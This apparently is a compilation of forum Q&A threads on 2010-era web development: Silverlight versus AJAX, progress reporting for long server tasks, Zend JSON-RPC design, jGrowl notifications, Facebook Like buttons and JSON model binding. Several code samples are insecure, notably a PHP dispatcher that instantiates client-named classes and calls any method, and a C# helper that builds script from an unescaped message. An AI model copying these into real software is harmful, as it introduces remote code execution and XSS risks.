The other thing I would point out is that, despite the usual association between WCF RIA services and Silverlight, using the latter doesn't lock you into using the former. I don't like RIA services for most of my projects and it really isn't a problem for me to create my own services (just like I would for a standard ASP.NET app) and consume them in Silverlight. While the RIA services model makes for quick development of simple applications, it isn't universal and you shouldn't feel the need to use it if it doesn't fit. I have at least one case where I have a Silverlight client calling a PHP REST service because the person coding the server side of things was more comfortable writing the service that way. He never even knew that I was writing the client in Silverlight for the first few weeks and it was never an issue.
Good luck with your project!
In my opinion, Silverlight and AJAX are good at different things and depending on your customer requirements each one may be better than the other.
Silverlight does allow a lot of functionality not available using ajax on the client side, however you need the end user to have the plugin on their machine. Ajax, javascript however has greater reach and therefore is likely to be more cross platform.
Silverlight 4 (and soon 5) has great controls built into it for Business applications. http://blogs.msdn.com/b/brada/archive/2009/11/19/pdc09-talk-building-amazing-business-applications-with-silverlight-4-ria-services-and-visual-studio-2010.aspx
There is a lot of functionality you can get out of the box which may mean it is quicker to develop if you do not have access to third party ajax controls such as those from Telerik.
I saw some some good examples in the Silverlight Firestarter event from the over day maybe check out the video.. http://www.silverlight.net/news/events/firestarter/
With Silverlight you get many of the benefits of Windows apps (one client engine, rich UI, etc.), with easier deployment (almost like website, though it requires a plugin), and broader reach (apps work in Mac, possibly Linux). It starts blurring the line between browser and Windows, though it will never have the reach of a regular web page.
I would add that the seamless out-of-browser and disconnected options are awesome.
You host the Silverlight app on a web server and by default it's used inside the browser. But you can have a "Install locally/Add to start menu/whatever" option in your software, wherever you wish (menu item, settings, etc.) and have it automatically "install". Afterwards it works like a Windows app, with some limitations (no child windows, though Silverlight 6 will add that, no tray icon, no registry access depending on whether it's full trust or not, etc.).
With the disconnected option, if the user's network is down, they can also have a partially working application, depending on your requirements (just like any Windows app).
If you update your app, the out-of-browser ones can also update at the time of your choosing (automatically, let the user decide...).
Check this video out: http://www.silverlight.net/learn/videos/all/out-of-browser-experiences/
Silverlight is a perfect platform for SAAS. you can take advantage of duplex communication and many other cool stuff.
Take a look at http://pjd.mscui.net/default.htm
This is a demo site from MS Health, built on Silverlight. It will open your mind.
I switched from OO JavaScript (jquery/extjs) to Silverlight for the following reasons:
There are just some things you cannot do with javascript (see http://pjd.mscui.net/default.htm ). After 7 years of doing OO javascipt for client side UI, I switched to Silverlight and could not be happier. Admittedly, MEF is a bear, but I?ll take it any day over chasing down leaks in IE?s garbage collector or having to use the Muenchian method for grouping because IE does not have, or did not have the last time I checked, XSLT2 out of the box. Also, my clients love all the Silverlight ?wiz-bang? which seems to unexpected benefit. :P
Yes, I'm using it for Business Applications. Yes, the client pays a bunch of money for silverlight applications. Html and Ajax have reached their limits along time ago, that is why we will always need the plugins. So if you dont have problems with the installation of the plugin of the client, then you should apsolutelly use silverlight as much as you can.
Here is a good example of nice silverlight application (i am not related to that company) ScratchAudio.com
Silverlight and AJAX are not competing ideas. You can use AJAX in conjunction with Silverlight just like you can with Flash, Java, or Quick Time. Each has its own merits (ok not so sure about QuickTime).
That all being said, you wouldn't want to build a web page in pure Silverlight any more than you'd want to build a web page in Flash. You have all the same issues of support and requiring plugins that Flash has.
As far as websites that are polished and use silverlight: ever heard of Netflix? The video player uses Silverlight.
AJAX is just the JavaScript specific buzzword for an XMLHttpRequest, which has been around for ages in both Flash and Silverlight. In fact, if you were to use Silverlight, you'd probably find yourself using an XHR request which is really what most people mean when they say AJAX.
You'd mentioned in a comment that you have issues with the nuances of JavaScript in cross-browser support: Use a good library, and the nuances are taken care of. jQuery is my recommendation for a JS library, although there are many others to pick and choose from.
Ultimately, decide what functionality you're after, and then decide the best tool for the job. "It is tempting, if the only tool you have is a hammer, to treat everything as if it were a nail."
If you've got a controlled environment where the install of SilverLight isn?t a problem I'd use SilverLiight for a number of reasons
my argument comes down to two facts -a controlled environment is easier to maintain if it?s possible -programming in C# can be easier/cleaner than AJAX
I think others have added very good and valid points for Silverlight. However, I found the following link missing from this very valuable question...
Check the firestarter. Comes out with a lots of videos and hands on labs. Hope this helps!
As for my own contribution to the debate, I have done some benchmarking between HTML (JavaScript) and Silverlight (as well as WPF) on http://www.exgeekblog.com
Here is an app built by the department of transportation in DC:
http://circulatordashboard.dc.gov/
i think HTML5 will be a good replacement for silverlight and flash , but i think Ajax will be used there as well
but i think silverlight will continue evolving cause its the base platform for the windows phone 7 development but not for the web
After reading the documentation on AsyncControllers in ASP.NET MVC 2, I am wondering what's the best way to implement an ajax progress bar in this scenario. It seems a bit odd that the tutorial does not cover this at all.
I guess implementing an AJAX progress bar involves requires additional action method that returns the status of the current task. However, I am not sure about the best way to exchange information on the status of the task between worker threads and that action method.
My best idea so far was to put information on the curent progress into the Session dictionary along with a unique id, and share that id with the client so that it can poll the status. But perhaps there is a much easier way that I did not notice.
What's the best way to do this?
Thanks,
Adrian
Very interesting question! Actually it seems that it is not a task for AsyncController. Async controllers are designed for long-running single-HTTP-query operations at server-side. When you are using async action, this could only help you to release ASP.Net worker thread during some long-running operation(s) and allow it to serve other requests while operation is performed. But from client-side point of view it doesn't matter, is this async controller or not. For client this is just single HTTP request.
You need to redesign this using some long-running queries service in your application. Here is example of controller, that could serve such workflow:
public class LongOperationsController : Controller
{
public ActionResult StartOperation(OperationData data)
{
Guid operationId = Guid.New(); // unique identifier for your operation
OperationsService.DoStartOperation(operationId, data); // service starts to perform operation using separate thread
return new JsonResult(operationId); // operation id should be sent to client to allow progress monitoring
}
public ActionResult GetOperationStatus(Guid operationId)
{
var status = OperationsService.GetStatus(operationId); // this method returns some object, that describes status of operation (e.g. progress, current task etc.)
return new JsonResult(status); // returning it to client
}
public ActionResult GetOperationResult(Guid operationId)
{
var result = OperationsService.GetOperationResult(operationId); // this should throw exception if operation is not yet completed
return new JsonResult(result);
}
public ActionResult ClearOperation(Guid operationId)
{
OperationsService.ClearOperationResult(operationId); // we should delete operation result if it was handled by client
return true;
}
}
And here are client-side code, that could interact with this controller:
var operationId;
function startOperation(data) {
$.post('/LongOperations/StartOperation', data, function(response) {
operationId = response; // store operationId
startOperationMonitoring(); // start
}, 'json');
}
function startOperationMonitoring() {
// todo : periodically call updateOperationStatus() to check status at server-side
}
function updateOperationStatus() {
// todo : get result of GetOperationStatus action from controller
// todo : if status is 'running', update progress bar with value from server, if 'completed' - stop operation monitoring and call finishOperation()
}
function finishOperation() {
// todo : get result of GetOperationResult action from controller and update UI
// todo : call ClearOperation action from controller to free resources
}
This is very basic concept, there are some missed items here, but I hope you will get the main idea. Also it's up to you how to design components of this system, for example:
Best luck!
I am working on a web application that will make extensive use of AJAX techniques for client/server communication...JSON-RPC specifically. Zend Framework is being used server-side, and it offers a nice JSON-RPC server that I would like to use.
My goal is to architect a maintainable system that exposes a large subset of server-side functionality to the client-side (javascript), without unnecessary code duplication. I've seen numerous blog posts and tutorials on how to use ZF's JSON-RPC server (see here and here), but they all seemed geared towards exposing a small, publicly consumable API. Code duplication is common, for example one blog post has the following method exposed:
public static function setTitle($bookId, $title) {
$book = new Nickel_Model_Book($bookId);
$book->setTitle($title);
$book->update();
return true;
}
I don't like the fact that there are two setTitle methods. If the method signature for one changes, the other has to be kept in sync...seems like a maintainability nightmare if your API is extensive. It seems to me that there should be one Book class, with one setTitle method.
My initial thought is add a docblock annotation @export to methods/classes that I want exposed. When I decide to expose the setTitle method, I just add the annotation rather than a new method.
One potential problem I see involves object persistence. Server-side, it makes sense for setTitle to set the object's title property...but not persist it in the database until update() is called. Client-side, calling setTitle should immediately affect the database. One potential solution is to modify all accessors such that they take a optional second parameter signifying the modification should update the database immediately:
function setTitle($title, $persist = false) {
$this->title = $title;
if ($persist) $this->update();
}
Some sort of proxy class could ensure that the $persist flag is set for all client-side RPC invocations.
Another problem is the serialization of PHP objects. Server-side, it makes sense to do a OO-style $book->setTitle("foo") call, but client-side book.setTitle(1234, "foo") makes sense (where 1234 is the book's ID) due to the lack of state. My solution for this would be to have the aforementioned proxy class be responsible for somehow turning book.setTitle(1234, "foo") into:
$book = new Book();
$book->load(1234);
return $book->setTitle($title);
I feel like this problem must have been tackled or discussed before...but I'm not finding many resources online. Does this seem like a sane solution?
What you're looking for is called Service Layer.
Their entities should be purely data containers (unless you're using Active Record), you should only expose your service layer, and this in turn accesses their entities and their respective methods.

Your class of service would be something like this:
class BookService extends Service {
public function setBookTitle($title, Book $book)
{
//verify if the $title is correct and valid
$book->setTitle($title);
$this->methodToGetThePersistenceManager()->save($book);
return true;
}
}
I was mulling over your question for a few minutes. If you want to try, and it's in PHP, you could make some magic methods of the form
set{Property}of{Object}.
You can do this through the magic __call method.
That way you wouldn't have to explicitly define the methods but the properties would still get set.
The magic method would identify which type of object it has to instantiate and which property to set on it and then persist.
You'd have to find some way of differentiating between remote calls and local calls though so you don't persist by mistake if you're making local library calls and that you do persist on remote calls.
I feel like I misunderstood your question somehow but I tried.
Well,
What you are wanting to do sounds really good on paper, and you want code to be maintainable, and depending on your actual system, what you ask may even be somewhat safe, however it's getting close to being dangerous and error prone.
Anyway, you would probably have to do most of this yourself, or just insert some sort of interceptor to all method calls, here's a quick example:
class Book {
public $title = '';
public $id = 0;
public function setTitle($string) {
$this->title = $string;
echo "title called with $string\n";
}
public function twoArgs($arg1,$arg2) {
echo "Multi-call: $arg1,$arg2\n";
}
}
class Api {
public function parse($json) {
$jsonobj = json_decode($json,true);
foreach ($jsonobj as $key=>$value) {
$class_name = $key;
$obj = new $class_name();
foreach ($value as $vkey=>$vvalue) {
if (method_exists($obj,$vkey)) {
call_user_func_array(array($obj,$vkey),$vvalue);
} else if (isset($obj->$vkey)) {
echo "Setting $vkey\n";
$obj->$vkey = $vvalue;
}
}
}
}
}
$json = json_encode(array('Book' => array('id' => 1234, 'setTitle' => array('The new title'))));
$api = new Api();
$api->parse($json);
$json = json_encode(array('Book' => array('id' => 1234, 'twoArgs' => array('arg1 :) ', 'arg2 :]'))));
$api->parse($json);
Obviously you'd want to add in logic to handle persist flagging, and loading or allow them to pass in a constructor: [args] and handle that. etc. When it comes to exposing functions, you expose them in documentation, they are all accessible as long as they are public functions from that point on etc.
One of the issues I think about every time I build my web application is how messages should appear to the end-users
I tried message boxes like those in windows applications, but they look so bad and make problems when published on the server. I've tried an update panel containing a cool label at the top of bottom of my page..but still i feel it's not good enough at all. Sometimes I have problems in specific cases when using AJAX, and it still doesn't look good for the users...
I want to ask about the StackOverFlow messages that appear for a while and then disappear, for example the message that appears in orange when voting a message up or down.
I want to build messages like these or reuse a DLL that can provide these. Is this feasible?
note::: the messages appeared for the user based on specific condition on the server side..
Thanks in advance.
Specifically, the jGrowl jQuery plugin does what you're asking.
Just include the jQuery and jGrowl scripts in your html, and start generating messages with the $.jGrowl() function.
Example code:
<html>
<head>
<script src="path/to/jquery.js"></script>
<script src="path/to/jgrowl.js"></script>
<script>
$(function() {
$.jGrowl("My sticky message, loaded after the rest of the page", {sticky: true});
$("#mybutton").live("click", function(_) {
$.jGrowl("you clicked the button!");});
});
</script>
</head>
<body>
<button id="mybutton">click me</button>
</body>
</html>
To create effects you can use these tools
jQuery user interface library. It provides interactions, widgets, effects, and theming for creating Rich Internet Applications
you can view some Jquery effects here
A web applications user interface library built on the Mootools JavaScript framework
Well, one method to use jGrowl (to expand on Shane's Answer) via .cs is shown below.
This example in webform ASP.NET
Create a simple aspx page with 1 button and make sure you include the necessary jquery/jgrowl script and css references in the page head, I also have a ScriptManager and update panel on the page as well.
In the code behind for the page:
protected void Button1_Click(object sender, EventArgs e)
{
this.ShowStatus("This is your message!<br />Some HTML formatting works!<br />");
}
protected void ShowStatus(string message)
{
ScriptManager sm = ScriptManager.GetCurrent(Page);
if (sm.IsInAsyncPostBack)
{
string script = @"
$(document).ready(function() {
$.jGrowl.defaults.theme = 'iphone';
$.jGrowl('" + message + "', {theme: 'iphone',header: 'Notification',life: 8000});});";
ScriptManager.RegisterStartupScript(Page,this.GetType(), "notification", script,true);
}
}
Naturally use whatever theme suits your app, good luck! Additionally, this approach only loads the notification script as needed (in this case after you click the button) but you could tie the "ShowStatus" function to other events/tests within the code behind.
Another very nice a JavaScript notification plugin is Pines Notify
It features also a notification history widget.
Notimoo plugin using mootools.
Used just yesterday, and liked the configuration options.
I have trolled the net + Stackoverflow and have not found an adequate answer to this question and before I start the trial and error process of finding my own solution, I thought I would turn to the Stackoverflow braintrust and see if there was already a successful implementation.
Specifically, I have an AJAX powered page that degrades properly for non-javascript browsers + SEO. Each click in the AJAX version can be represented by a unique URL. What I want to do is to dynamically change the HREF of the button. I do understand that this tag is converted to standard HTML at runtime (namely into a nasty table / iframe layout).
I was just wondering if anyone had any insight as to how to implement this FB like button onto AJAX powered pages?
Cheers in advance :)
EDIT:
What do you think of this method I just hacked together? See any huge problems with it?
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head runat="server">
<title></title>
<script src="JS/jquery/jquery.js" type="text/javascript"></script>
<script src="http://connect.facebook.net/en_US/all.js#xfbml=1"></script>
<script language="javascript" type="text/javascript">
$("document").ready
(
function ()
{
CreateNewLikeButton("http://www.yahoo.com")
$("a#ChangeToGoogle").click
(
function (e)
{
e.preventDefault();
CreateNewLikeButton("http://www.google.ca")
}
);
}
);
function CreateNewLikeButton(url)
{
var elem = $(document.createElement("fb:like"));
elem.attr("href", url);
$("div#Container").empty().append(elem);
FB.XFBML.parse($("div#Container").get(0));
}
</script>
</head>
<body>
<form id="form1" runat="server">
<a id="ChangeToGoogle" href="#">Change To Google</a>
<div id="Container">
<fb:like href="http://www.NEVER_LINK_TO_THIS_12345.com"></fb:like>
</div>
</form>
</body>
</html>
This is the solution I ended up going with:
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head runat="server">
<title></title>
<script src="JS/jquery/jquery.js" type="text/javascript"></script>
<script src="http://connect.facebook.net/en_US/all.js#xfbml=1"></script>
<script language="javascript" type="text/javascript">
$("document").ready
(
function ()
{
CreateNewLikeButton("http://www.yahoo.com")
$("#ChangeToGoogle").click
(
function (e)
{
e.preventDefault();
CreateNewLikeButton("http://www.google.ca")
}
);
}
);
function CreateNewLikeButton(url)
{
var elem = $(document.createElement("fb:like"));
elem.attr("href", url);
$("#Container").empty().append(elem);
FB.XFBML.parse($("#Container").get(0));
}
</script>
</head>
<body>
<form id="form1" runat="server">
<a id="ChangeToGoogle" href="#">Change To Google</a>
<div id="Container">
<fb:like href="http://www.NEVER_LINK_TO_THIS_12345.com"></fb:like>
</div>
</form>
</body>
</html>
SIMPLE SOLUTION
Just parse trigger the parse function when load complete.
If you?re using jQuery, there?s a real easy and slick solution to this problem:
$(document).ajaxComplete(function(){
try{
FB.XFBML.parse();
}catch(ex){}
});
You're making this hard on yourself - just render a new iframe-based one.
<html>
<head>
<title>Test Page</title>
<script src="http://code.jquery.com/jquery-latest.js"></script>
<script type="text/javascript">
$(function()
{
$( '#ChangeToGoogle' ).click( function( event )
{
event.preventDefault();
$( '#Container' ).empty().append( $('<iframe />')
.attr( 'src', 'http://www.facebook.com/plugins/like.php?href=www.google.com&layout=standard&show_faces=true&width=450&action=like&colorscheme=light&height=80' )
.attr( 'scrolling', 'no' )
.attr( 'frameborder', 'no' )
.attr( 'style', 'border:none; overflow:hidden; width:450px; height:80px;' )
.attr( 'allowTransparency', 'true' )
);
});
});
</script>
</head>
<body>
<form id="form1" runat="server">
<a id="ChangeToGoogle" href="#">Change To Google</a>
<div id="Container">
<iframe src="http://www.facebook.com/plugins/like.php?href=www.yahoo.com&layout=standard&show_faces=true&width=450&action=like&colorscheme=light&height=80"
scrolling="no" frameborder="0"
style="border:none; overflow:hidden; width:450px; height:80px;"
allowTransparency="true">
</iframe>
</div>
</form>
</body>
This is how I handled this situation when I ran into it - seems to work well.
// Set Facebook Like Button with jQuery
setFBLikeButtons = function (container,url,send,layout,width,show_faces,font) {
// Set Default Args
if(!send) { send = "false"; }
if(!layout) { layout = "button_count"; }
if(!width) { width = "100"; }
if(!show_faces) { show_faces = "false"; }
if(!font) { font = "arial"; }
$(container).empty(); // Remove current like button
$(container).html('<fb:like href="'+url+'" send="'+send+'" layout="'+layout+'" width="'+width+'" show_faces="'+show_faces+'" font="'+font+'"></fb:like>');
FB.XFBML.parse(); // This is the magical syrup
}
create like button
<head>
<script src="http://connect.facebook.net/en_US/all.js#xfbml=1"></script>
<script>
window.onload = function(){
var divs = document.getElementsByTagName("span");
for(var i=0; i<divs.length i++){
if(divs[i].className == "likes"){
if(divs[i].title){ var Href = divs[i].title; }else{ var Href = window.location; }
var fb_like = document.createElement("fb:like");
fb_like.setAttribute("href", Href);
fb_like.setAttribute("layout", "box_count");
fb_like.setAttribute("show_faces", "false");
fb_like.setAttribute("width", "55");
document.getElementById("likes2").appendChild(fb_like);
}
}
}
</script>
</head>
<body>
<span class="likes" title="www.bzzs.me"></span>
</body>
Load it after the window loads, this is what works for me:
$(window).load(function(){
$.getScript('http://connect.facebook.net/en_US/all.js', function() {
try{
FB.XFBML.parse();
} catch(ex) {}
});
});
Im trying to get a list of line items to a webpage using JSON, which will then be manipulated and sent back to the server by ajax request using the same JSON structure that arrived (except having had a field values changed).
Receiving data from the server is easy, manipulation even easier! but sending that JSON data back to the server for saving... suicide time! PLEASE can someone help!
Javascript
var lineitems;
// get data from server
$.ajax({
url: '/Controller/GetData/',
success: function(data){
lineitems = data;
}
});
// post data to server
$.ajax({
url: '/Controller/SaveData/',
data: { incoming: lineitems }
});
C# - Objects
public class LineItem{
public string reference;
public int quantity;
public decimal amount;
}
C# - Controller
public JsonResult GetData()
{
IEnumerable<LineItem> lineItems = ... ; // a whole bunch of line items
return Json(lineItems);
}
public JsonResult SaveData(IEnumerable<LineItem> incoming){
foreach(LineItem item in incoming){
// save some stuff
}
return Json(new { success = true, message = "Some message" });
}
The data arrives at the server as serialized post data. The automated model binder tries to bind IEnumerable<LineItem> incoming and surprisingly gets the resulting IEnumerable has the correct number of LineItems - it just doesnt populate them with data.
SOLUTION
Using answers from a number of sources, primarily djch on another stackoverflow post and BeRecursive below, I solved my problem using two main methods.
Server Side
The deserialiser below requires reference to System.Runtime.Serialization and using System.Runtime.Serialization.Json
private T Deserialise<T>(string json)
{
using (var ms = new MemoryStream(Encoding.Unicode.GetBytes(json)))
{
var serialiser = new DataContractJsonSerializer(typeof(T));
return (T)serialiser.ReadObject(ms);
}
}
public void Action(int id, string items){
IEnumerable<LineItem> lineitems = Deserialise<IEnumerable<LineItem>>(items);
// do whatever needs to be done - create, update, delete etc.
}
Client Side
It uses json.org's stringify method, available in this dependecy http://www.json.org/json2.js (which is 2.5kb when minified)
$.ajax({
type: 'POST',
url: '/Controller/Action',
data: { 'items': JSON.stringify(lineItems), 'id': documentId }
});
Take a look at Phil Haack's post on model binding JSON data. The problem is that the default model binder doesn't serialize JSON properly. You need some sort of ValueProvider OR you could write a custom model binder:
public class JsonModelBinder : DefaultModelBinder {
public override object BindModel(ControllerContext controllerContext, ModelBindingContext bindingContext) {
if(!IsJSONRequest(controllerContext)) {
return base.BindModel(controllerContext, bindingContext);
}
// Get the JSON data that's been posted
var request = controllerContext.HttpContext.Request;
var jsonStringData = new StreamReader(request.InputStream).ReadToEnd();
// Use the built-in serializer to do the work for us
return new JavaScriptSerializer()
.Deserialize(jsonStringData, bindingContext.ModelMetadata.ModelType);
// -- REQUIRES .NET4
// If you want to use the .NET4 version of this, change the target framework and uncomment the line below
// and comment out the above return statement
//return new JavaScriptSerializer().Deserialize(jsonStringData, bindingContext.ModelMetadata.ModelType);
}
private static bool IsJSONRequest(ControllerContext controllerContext) {
var contentType = controllerContext.HttpContext.Request.ContentType;
return contentType.Contains("application/json");
}
}
public static class JavaScriptSerializerExt {
public static object Deserialize(this JavaScriptSerializer serializer, string input, Type objType) {
var deserializerMethod = serializer.GetType().GetMethod("Deserialize", BindingFlags.NonPublic | BindingFlags.Static);
// internal static method to do the work for us
//Deserialize(this, input, null, this.RecursionLimit);
return deserializerMethod.Invoke(serializer,
new object[] { serializer, input, objType, serializer.RecursionLimit });
}
}
And tell MVC to use it in your Global.asax file:
ModelBinders.Binders.DefaultBinder = new JsonModelBinder();
In MVC3 they've added this.
But whats even more nice is that since MVC source code is open you can grab the ValueProvider and use it yourself in your own code (if youre not on MVC3 yet).
You will end up with something like this
ValueProviderFactories.Factories.Add(new JsonValueProviderFactory())
I urge you to read this blog post that directly addresses your problem.
Using custom model binders isn't really wise as Phil Haack pointed out (his blog post is linked in the upper blog post as well).
Basically you have three options:
Write a JsonValueProviderFactory and use a client side library like json2.js to communicate wit JSON directly.
Write a JQueryValueProviderFactory that understands the jQuery JSON object transformation that happens in $.ajax or
Use the very simple and quick jQuery plugin outlined in the blog post, that prepares any JSON object (even arrays that will be bound to IList<T> and dates that will correctly parse on the server side as DateTime instances) that will be understood by Asp.net MVC default model binder.
Of all three, the last one is the simplest and doesn't interfere with Asp.net MVC inner workings thus lowering possible bug surface. Using this technique outlined in the blog post will correctly data bind your strong type action parameters and validate them as well. So it is basically a win win situation.
If you've got ther JSON data coming in as a string (e.g. '[{"id":1,"name":"Charles"},{"id":8,"name":"John"},{"id":13,"name":"Sally"}]')
Then I'd use JSON.net and use Linq to JSON to get the values out...
using System;
using System.Collections.Generic;
using System.Linq;
using System.Web;
using System.Web.UI;
using System.Web.UI.WebControls;
using Newtonsoft.Json;
using Newtonsoft.Json.Linq;
public partial class _Default : System.Web.UI.Page
{
protected void Page_Load(object sender, EventArgs e)
{
if (Request["items"] != null)
{
var items = Request["items"].ToString(); // Get the JSON string
JArray o = JArray.Parse(items); // It is an array so parse into a JArray
var a = o.SelectToken("[0].name").ToString(); // Get the name value of the 1st object in the array
// a == "Charles"
}
}
}
Suppose I'm building a StackOverflow clone using webforms ASP.NET and jQuery. The Question page has a question, several answers, and comments under each. Requirements:
What I'm trying to figure out is how to do this without having to maintain two sets of markup (one that's bound on the client using some form of jQuery templating, and one that's bound on the server using traditional WebForms).
What are my options?
It doesn't use jQuery but the Spark view engine provides a JavascriptViewResult class that allows you to render templates on the client as well as on the server. This is intended for the exact situation that you describe. See this post by K. Scott Allen for a simple explanation of how this works.
You can then use the same View page on the server and the client. On the server you pass a viewmodel object to the view and on the client you pass it a JSON object. You can even include code in your views as long as it is valid code for both the C# and JavaScript languages. For example var x = 1; will compile in both C# and Javascript.
While it is not exactly what you asked for you may want to consider rendering the HTML on the server via a service (not using update panel) and sending it to the client instead of using client templates. It couldn't be that bad because Facebook are doing it: http://www.facebook.com/video/video.php?v=596368660334 If it is suitable in your situation depends on how rich your markup is and what percentage of the data sent over the wire will be markup as opposed to content.
I don't know if this is potentially an option, but this becomes relatively trivial using ASP.net MVC. You have a partial view for an answer, for example, and this is part of the markup on the page. You then also have an action on your controller that takes e.g. an answer id, that just returns the rendered html from that partial view, which can then be slotted into the document.
I've used this in a few places and find it to be a very clean method.
You could use javscriptdotnet in combinations with embeddedjs
That way you would be able to reuse the same templates in both places.
Personally, I think this is usually an overkill. You would be introducing lots of dependencies which are hard to manage.
You can use String.format JavaScript method which is defined in the scripts loaded by ScriptManager (or look for an alternative implementation here). It's an analogue of String.Format .Net method.
string CommentTpl = "<div class='comment {0}'>{1}</div>";
With String.format you can render this template on both the client and the server. Just don't forget to properly escape it for JavaScript.
Why not just use a template html file and load it from JavaScript and from the server? In JavaScript, you get the HTML template once for all items it's used on (store it in a variable or something).
You can then do string replacements in both and you're good to go with only one place to make HTML updates.
Ditch all the controls in ASP.NET and use only HTML markup with Javascript and CSS.
ASP.NET abstracts the presentation layer away from developers, however the good news is that you dont have to use web controls in to write a beautiful website using .NET. Read further down the post: "don?t throw the baby (.NET) out with the bath water (ASP.NET)".
You can still retain .NET for passing bits of information between the front-end and the database (using JSON not Postbacks) and handling other bits of logic like security and login that cant be handled by the client.
Keep it simple while still adding markup dynamically so that your page loads with content automatically, such as follows:
<% foreach (Post post in PostList) { %>
<h2><%= post.Title %></h2>
<p><%= post.Content %></p>
<% } %>
Basically, keep the middle tier to the minimum (for example using ashx "Generic Handlers" instead of aspx "Pages" wherever possible) if you dont want to start getting confused with gratuitous ASP.NET markup and adding bloatware like ViewState.
I have an Ajax call that updates 5,000 records in a database so this takes a lot of time. I have an Ajax "Loading image" showing that something is happening, but I am looking for a better way to show "Updating 50 of 5000 . . .", "Updating 200 of 5000", or something like that.
What is the best way to do something like this in Ajax / jQuery without doing 5000 different posts?
The best I think is using Comet.
In Comet-style applications, the server can essentially push data to the client (instead of the client request data from the server again and again.). The client needs to only connect to server once. and then server will keep pushing data back to client.
From Wikipedia:
Comet is a programming technique that enables web servers to send data to the client without having any need for the client to request it. It allows creation of event-driven web applications which are hosted in the browser.
And now let's see how Comet works. See the following server-side code. here a while loop is being used, you can instead set your own condition. In the while loop, the page writes a datetime and flushes and then sleeps for 1/2 seconds.
ASP.NET page code-behind: Service.aspx.cs
public static string Delimiter = "|";
protected void Page_Load(object sender, EventArgs e)
{
Response.Buffer = false;
while (true)
{
Response.Write(Delimiter
+ DateTime.Now.ToString("HH:mm:ss.FFF"));
Response.Flush();
// Suspend the thread for 1/2 a second
System.Threading.Thread.Sleep(500);
}
// Yes I know we'll never get here,
// it's just hard not to include it!
Response.End();
}
Client side code - pure JavaScript
Only make the request once, and then keep checking the data in the readyState === 3 of XMLHttpRequest.
function getData()
{
loadXMLDoc("Service.aspx");
}
var req = false;
function createRequest() {
req = new XMLHttpRequest(); // http://msdn.microsoft.com/en-us/library/ms535874%28v=vs.85%29.aspx
}
function loadXMLDoc(url) {
try {
if (req) { req.abort(); req = false; }
createRequest();
if (req) {
req.onreadystatechange = processReqChange;
req.open("GET", url, true);
req.send("");
}
else { alert('unable to create request'); }
}
catch (e) { alert(e.message); }
}
function processReqChange() {
if (req.readyState == 3) {
try {
ProcessInput(req.responseText);
// At some (artibrary) length recycle the connection
if (req.responseText.length > 3000) { lastDelimiterPosition = -1; getData(); }
}
catch (e) { alert(e.message); }
}
}
var lastDelimiterPosition = -1;
function ProcessInput(input) {
// Make a copy of the input
var text = input;
// Search for the last instance of the delimiter
var nextDelimiter = text.indexOf('|', lastDelimiterPosition + 1);
if (nextDelimiter != -1) {
// Pull out the latest message
var timeStamp = text.substring(nextDelimiter + 1);
if (timeStamp.length > 0) {
lastDelimiterPosition = nextDelimiter;
document.getElementById('outputZone').innerHTML = timeStamp;
}
}
}
window.onload = function () { getData(); };
I would let the function that is doing the big update record in a SESSION variable its current progress after each single (or so many) update, and use a separate AJAX script to retrieve this progress value from the SESSION and let JavaScript use this to update your progress bar/text.
I am assuming you are currently using one POST for all records in the batch update and placing the loading image between call and return.
Rather than having the server wait to return until completing the update, have it return immediately with a special ID for that batch update. Then implement a server call that returns the status of the batch update, which your progress dialog can call to report the progress.
var progressCallback = function(data){
//update progress dialog with data
//if data does not indicate completion
//ajax call status function with "progressCallback" as callback
});
//ajax call status function with "progressCallback" as callback
I would fire an Ajax callback once every n milliseconds that can query on how much is done (e.g. number of records updated) and use that to display a progress bar. Something like the way this works.
You could update the response buffer with a progress, flushing your response buffer periodically from the server.
But you may have trouble reading a request before it's complete via xhttpr. You might be able to make your request via an iframe, and have that load in progress via 'http streaming'.
But even that can be sketchy. HTTP is not the meant to transfer things piecemeal/fragmented. Like others point out, it would be best to make a separate subsequent calls to get the status of the operation.
I am assuming that you have a reason for iterating through each record individually, instead of simply running a SQL statement.
If that is the case, simply make an ajax call every 200 or so iterations. If you do it for each group of 200 records, it will only consume 50 Ajax calls.
Something like (pseudocode):
If iterationNumber mod 200 == 0
// Make Ajax call.
I just got an idea while reading the replies.
JavaScript and PHP share cookies,
Advantages:
I'm not sure what the server-side is where you are posting to, but you should be able to apply this method to most programming languages. I'm using PHP as an example.
On the HTML-side, have some function that updates the progress bar to a given width. I'm calling this function 'setProgress' for this example, which takes a number to update the progress bar to.
In the server-side code, do chunks of updates (say 100 per iteration) and generate output. By outputting a javascript call for each iteration:
<?php
while () { // Whatever your loop needs to be.
// Do your chunk of updates here.
?>
<script type="text/javascript">
setProgress(100);
</script>
<?php
flush(); // Send what we have so far to the browser so the script is executed.
}
setProgress(5000); // All done!
?>
After echoing this, flush the output buffer to make sure this data is sent to the browser. Because it is a complete script tag, the browser will execute the javascript inside, updating the progress bar to whatever value you passed to it.
To get the whole thing working you will need to add some calculations to make sense of the numbers you are calling to the progress bar, but I'm assuming that shouldn't be too much of a problem. It would probably make more sense to have setProgress in the example use percentages, though I wanted to stay clear of the calculations needed for the sake of clarity.
For showing progress during load, I would modify my backend so that it can do selective loading.
For example,
var total_rec = 5000;
var load_steps = 20;
var per_load = total_rev / load_steps;
var loaded = 0;
while (loaded < total_rec) {
www.foobar.com/api.php?start=loaded&end=(loaded+per_load);
loaded += per_load;
}
Every time the load is done, update the progress bar.
An alternative way to modify the backend can be
www.foobar.com/api.php?start=loaded&count=50
Something seems fishy.
I'm not familiar with databases that can't update 5000 records in a flash... So this isn't just a single update you're applying but a record by record update?
Consider a system which lets a user download 5000 entries and does not mark which ones have been edited and then at the end of making updates applied a single update button which would require that all 5000 records be passed back in some way. That would be worst case.
So there may be some way to partition the problem such that there is no wait time. Consider for instance a temporary db table (or just in the applications memory, pretty easy by just creating a list of ORM entities... but that's an aside) then when it comes time to commit those updates they can at least be done in a batch without requiring any client/server transfer. It may even be possible to mark the individual fields which were edited so there is nothing more updated on the DB except exactly what changed.
There are long running processes and I know sometimes you're stuck having to use what someone has provided you with... but perhaps with a bit of thinking you can simply get rid of the wait time.
Create a simple table like this:
CREATE TABLE progress_data (
